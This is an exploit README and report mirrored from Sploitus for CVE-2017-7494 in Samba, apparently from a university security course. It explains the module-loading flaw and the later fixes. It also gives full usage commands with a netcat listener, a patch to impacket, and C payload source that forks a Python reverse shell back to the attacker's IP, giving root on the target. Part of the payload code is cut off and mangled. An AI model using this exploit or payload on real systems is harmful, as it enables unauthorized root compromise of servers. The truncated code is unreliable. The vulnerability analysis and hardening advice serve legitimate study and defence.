Sploitus

Exploit for Code Injection in Samba

githubexploit ¡ 2021-05-15

Exploit Code

README228 lines
## https://sploitus.com/exploit?id=33A4E1BF-1FDC-5FC5-8E97-C14D4B07A78E
# EternalBlue for macOS&Linux  
An exploit for CVE-2017-7494 in the Net Security course final assignment. This reveals the vulnerabilities of services running with administrative privileges on operating systems. This bug is functional on both macOS and Linux.  

## Installation  
Before exploiting the vulnerability, you need to download the required dependencies.  
```bash
/bin/bash install_requirement.sh
```  
One of the most important dependencies is the `impacket` package for Python. It enables SMB connections. However, to create a valid request that loads our malicious module into the Samba server, we need to modify the original `impacket`. The `install_requirement.sh` script installs a modified version of `impacket`; therefore, you don’t need to do anything manually. If you prefer a newer version or another version of `impacket`, you’ll need to modify it yourself.  

Go to `impacket/impacket/smb3.py` and modify line 11154, as well as the two lines following the comment:  
```python
#        fileName = fileName.replace('/', '\\') Should be comment! if len(fileName) > 0:
#            fileName = ntpath.normpath(fileName) Should be comment! iffileName[0] == '\\':
               fileName =fileName[1:]
```  

## How to Use  
To exploit this vulnerability, you need to open two terminals. One terminal should use `netcat` to interact with the reverse shell, while the other is used to exploit the vulnerability. The usage is as follows:  
```bash
# First terminal uses nc to obtain a reverse-shell
$ nc -p 23333 -l

# Second terminal to exploit the vulnerability
$ python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135
```  
If the target is macOS, you **should not** compile the module on Linux! GCC does not support the MACH-O format. If you’re using macOS, compiling the payload works fine. A precompiled version of the payload is available in the directory: `mac_payload.so`. Use the `-m` flag in `exploit.py` to indicate that you’ll use a custom payload:  
```bash
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m mac_payload.so
```  

## Uninstall  
```bash
sudo -H python3 -m pip uninstall impacket
```  

## Todo:  
- [ ] macOS Samba installation guide. A detailed process will be posted in Chinese as part of my final assignment. If you understand Chinese, it should be fine for you. :)  

---  
# EternalBlue for macOS&Linux  
—— CVE2017-7494 Vulnerability Report  

## Background Information  
EternalBlue caused significant damage in 2017. It exploited the SMB mechanism in Windows to carry out worm attacks. SMB is a service running on Windows that allows sharing files and performing remote procedure calls between different hosts. Perhaps precisely because of this functionality, SMB has often been a target for hackers. Vulnerabilities in the operating system kernel itself are relatively rare—even for Windows. Problems usually occur in the services running on the operating system.

They don’t have code that is as strictly standardized as that of operating systems, and they are tested rigorously. However, they run with high levels of privileges, which creates many opportunities for malicious exploitation. So, can we compromise an entire operating system by attacking high-privilege services within the operating system, rather than attacking its underlying components? An operating system is just a kernel; it can do nothing on its own. It can only function by running various system services, which provide us with diverse capabilities. Many services of an operating system need to be run with administrator privileges to work properly (as daemon processes). Therefore, if we manage to compromise these high-privilege services, we can naturally gain administrator privileges of the system, thereby compromising the entire operating system. Finally, I found a exploitable vulnerability in the open-source implementation of SMB—CVE2017-7494. Similar to Windows, hackers can use SMB’s remote procedure calls to gain administrator privileges of the operating system, thereby having the opportunity to create worm viruses for cyber attacks. The Linux kernel has always been known for its security due to its open-source nature. MacOS, being a niche system, also gives the impression of being secure because there are few viruses targeting it. Therefore, this experiment will involve attacking MacOS and several different Linux distributions to demonstrate the vulnerability of operating systems—no matter how “secure” the design of the operating system may seem, it can still be compromised due to a small application vulnerability. ## Vulnerability Analysis Since Samba is a service with similar functionality to SMB, some people refer to it as “Linux version of Eternal Blue.” Although I believe that there are fundamental differences between the two from a technical perspective: Windows’ Eternal Blue uses buffer overflow attacks, while CVE2017-7494 involves vulnerabilities in program execution logic. This vulnerability primarily stems from the `bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)` function in `source3\rpc_server\srv_pipe.c`, which calls `smb_probe_module()`. Here’s the code: ```c
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
    ... // This is where the issue lies
    status = smb_probe_module("rpc", pipename);
    ...
```
`is_known_pipename()` is a control module that calls `is_known_pipename()` after checking requests to the `RPC` service. At first glance, `is_known_pipename()` seems to determine whether a remote pipe is already registered. However, in Samba 3.50, a new feature was introduced: loading dynamic modules by calling `smb_probe_module()`. This vulnerability exploits this feature to create malicious modules. The loading of the `rpc pipe` module follows this chain of calls: `is_known_pipename()` -> `smb_probe_module()` -> `do_smb_load_module()` -> `load_module()`. Between Samba 3.5.0 and Samba 4.6.3, the `do_smb_load_module()` function was reused by `smb_probe_module()`, which loads its own modules. `smb_load_module()` is used to load certain known modules, likely internal calls for extending Samba’s functionality, such as the `VFS` module. `smb_probe_module()` presumably loads possible modules, which may come from `RPC` requests. Here’s the code: ```c
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
    return do_smb_load_module(subsystem, module, true);
}

NTSTATUS smb_load_module(const char *subsystem, const char *module)
{
    return do_smb_load_module(subsystem, module, false);
}
```
To be reused by these two functions, `do_smb_load_module()` implements both methods: loading modules within the SMB subsystem by parsing requests, and loading modules via absolute paths. Here’s the code: ```c
static NTSTATUS do_smb_load_module(const char *subsystem,
                                      const char *module_name, bool is_probe)
{
    ...
    // Comment: If the path passed comes from `smb_probe_module()`, which shouldn’t give an absolute path, but `smb_probe_module()` does, then this check will be ineffective. This is how this vulnerability is exploited.
    if (subsystem && module_name[0] != '/')
        {
            // Should go into the subsystem, perform conversion from SMB subsystem to absolute path
            full_path = talloc_asprintf(ctx,"%s/%s.%s", modules_path(ctx, subsystem), module_name, shlib_ext());
            ...
        } else
        {
            // But it directly loads the absolute path we created, skipping this step
            init = load_module(module_name, is_probe, &handle);
        }
```
In Samba versions 3.5.0 to 4.6.3, the `do_smb_load_module()` function was reused by `smb_probe_module()`, which loads its own modules. `smb_load_module()` is used to load certain known modules, likely internal calls for extending Samba’s functionality, such as the `VFS` module. `smb_probe_module()` presumably loads possible modules, which may come from `RPC` requests.

// Here, we directly proceed to the invocation of malicious code.
status = init();
...
Since `do_smb_load_module()` doesn’t know whether the path submitted by the upper-level function comes from `smb_load_module` or `smb_probe_module`, there is a possibility of constructing a fake request: making the module that is normally “loaded within the subsystem” appear as a module that loads an absolute path. If this absolute path module happens to be our predefined malicious module, then the vulnerability is successfully exploited. Coincidentally, Samba, being a protocol that supports file transfer, allows us to easily upload our malicious module there. At the same time, DCE requests also support querying absolute paths. With these two factors, we can easily exploit `do_smb_load_module()` to load a malicious module with an absolute path. The principle of exploitation is shown below:

### Samba’s Fixes for the Vulnerability

In later versions, Samba fixed this vulnerability by enhancing the checking of pipe names passed in RPC requests. The first fix was made at `is_known_pipename()`, where `strchr` was used to check if the pipe name contained `/`. If `/` was present, it indicated that the path was a Linux path, which should be prohibited. ```c
bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
{
    NTSTATUS status;
    // Added this line to prevent requests for modules with absolute paths
    if (strchr(pipename, '/'))
    {
        DEBUG(1, ("Refusing to open on pipe %s\n", pipename));
        return false;
    }
...
```
The second fix was made in `smb_probe_module()` (according to the git history, it was added around `4.70`). Compared to the original simple call to `do_smb_load_module()`, this version includes more detailed rules:

```c
NTSTATUS smb_probe_module(const char *subsystem, const char *module)
{
    ... // Second layer of absolute path checking
    if (strchr(module, '/'))
    {
        status = NT_STATUS_INVALID_PARAMETER;
        goto done;
    }
    
    ... done:
    TALLOC_FREE(tmp_ctx);
    return status;
}
```

Another layer of defense was added. Additionally, the functions for loading modules were refined further. The original `smb_probe_module()` and `smb_load_module()` were split into `smb_probe_module()`, `smb_load_module()`, and `smb_probe_module_absolute_path()` to enhance the detection of malicious module paths. ## Experimental Setup

For this experiment, the Linux targets used different Linux distributions—Ubuntu and Alpine Linux. Samba servers with versions before 4.6.3 and after 3.5.0 were set up using Docker. Samba runs as a daemon called `smbd`. Alpine Linux is a recently emerging Linux distribution known for its “lightweight” and “secure” nature. Unlike common Linux distributions, it uses `musl libc` as its C-language runtime environment instead of `glibc`; it also uses the special `buzybox` as its command-line tool. Generally, common Linux software cannot run on Alpine Linux without recompiling or modifying the code. This makes it easy to believe that attacks using GNU libraries are ineffective against Alpine Linux. Additionally, this experiment also included attacks against macOS—another system that can lead to misunderstandings. macOS lacks proactive security measures, but because there are few attacks targeting it, the mainstream view tends to think that “macOS doesn’t have viruses.” Through setting up various systems and attacking them using programming logic vulnerabilities that don’t involve buffer overflows, we aim to reveal the truth:
* Application vulnerability attacks are unrelated to operating systems.
* Vulnerabilities occur randomly.

### Setting Up the Linux Target Machine

Samba on Linux can be deployed quickly using Docker. It’s necessary to find an old version of the image on `dockerhub`. Samba for Ubuntu comes from `rootlogin/samba`, while Samba for Alpine Linux comes from `servercontainers/samba:4.6.3`. Just set the shared paths of the containers properly. ## Setting Up the macOS Target Machine

The version used for macOS is 11.3 Big Sur. Since macOS is rarely used as a server, no pre-compiled old versions of Samba are provided for installation. Therefore, it’s necessary to compile old versions of Samba manually. Use the following command:

```shell
git clone https://github.com/samba-team/samba.git
```

After cloning Samba, use `git`’s `checkout` feature to revert to version 4.6.3. According to [11811 – Compile error on Mac OS X 10.11: field has incomplete type ‘struct timespec’ LOADPARM_EXTRA_LOCALS (samba.org)](https://bugzilla.samba.org/show_bug.cgi?id=11811) and [11984 – Failed to compile on Mac OS X. (samba.org)](https://bugzilla.samba.org/show_bug.cgi?

id=11984#:~:text=It can be,param%2Floadparam.h) provided records. There are compilation issues with the macOS version of Samba. Although subsequent versions have been fixed, older versions require manual addition of compilation-related patches:

```shell
curl -fsSL  https://willhaley.com/assets/compile-samba-macos/nss.diff | git apply -
```

Additionally, the `#include` directive should be added to `lib/param/loadparm.h`. After resolving all dependencies required for compilation, the macOS version of Samba can be compiled, installed, and run. ## Experimental Steps

In this experiment, the target machine is attacked using `python` and the `impacket` package for SMB operations. The general process of the attack is as follows:

1. Compile the malicious payload.
2. Log in to Samba.
3. Upload the malicious payload.
4. Use RPC calls to load the malicious payload into the Samba server.
5. Obtain root access via a reverse shell.

### Construction of the Malicious Payload

The malicious payload primarily functions to:

* Detach processes.
* Establish TCP connections.
* Open a shell.

This allows the attacker to gain control of the remote server. The code is as follows:

```c
#include 
#include 
#include 
#include 
#include "config.h"
#define COMMAND "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\""IP"\","PORT"));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"

static void CreateReverseShell()
{
    pid_t pid;
    pid = fork(); // Use a child process to detach the main Samba process
    if (pid == 0)
    {
        umask(0);
        chdir("/");
        execl("/usr/bin/python", "python", "-c", (COMMAND), NULL); // Use Python to establish a TCP connection and set up a reverse shell
    }
}
#ifdef __linux__
extern bool become_root(void);
#endif
// When Samba loads modules, this function is automatically called as the entry point
int samba_init_module(void)
{
    // Character: YOU ARE HACKED
    printf("__  __               ___                 __  __           __            __\n\\ \\/ /___  __  __   /   |  ________     / / / /___ ______/ /_____  ____/ /\n \\  / __ \\/ / / /  / /| | / ___/ _ \\   / /_/ / __ `/ ___/ //_/ _ \\/ __  / \n / / /_/ / /_/ /  / ___ |/ /  /  __/  / __  / /_/ / /__/ , 0:
#             fileName = ntpath.normpath(fileName) Should be commented out! if fileName[0] == '\\':
                fileName = fileName[1:]
```

This code is used to load malicious modules with absolute paths. Other aspects of logging in, uploading files, and loading malicious modules are handled by the `impacket` package, so they will not be described in detail. ### Conducting the Attack

Before attacking, you need to use `netcat` to listen for the reverse shell returned:

```shell
nc -p 23333 -l
```

Then, use the following command:

```shell
python3 ./exploit.py -lhost 192.168.71.136 --rhost 192.168.71.135 -m payload.so
```

This will automatically execute the above Python script, and you will obtain root access via the reverse shell from `netcat`, allowing you to gain control of the remote server. ### Attack Results

**For Ubuntu:**

**For Alpine Linux:**

**For macOS:**

**For Windows to gain control of macOS and execute scripts:**

## Summary

* Vulnerabilities at the application layer are independent of the operating system, and there is no such thing as a “perfectly safe” system. Any seemingly secure system can be exploited in unexpected ways.
* Critical services should be operated with minimal administrative privileges. Even if they are compromised, they won’t cause significant damage to the host system.
* Technologies like containers or virtual machines can be used to run these services separately. For example, the Linux version used in this experiment uses container technology. If only the root account within the Linux container is compromised, it won’t be possible to exploit the physical machine. This aligns with the principle of “minimizing exposure to vulnerabilities.”
* Security issues never occur on one side alone. For example, relying solely on `scanf_s`, `strSafe`, and “safe languages that prevent buffer overflows” won’t solve all problems. Vulnerabilities that can be exploited may appear in unexpected places.

[source-iocs-preserved url=https://bugzilla.samba.org/show_bug.cgi?id=11984#:~:text=]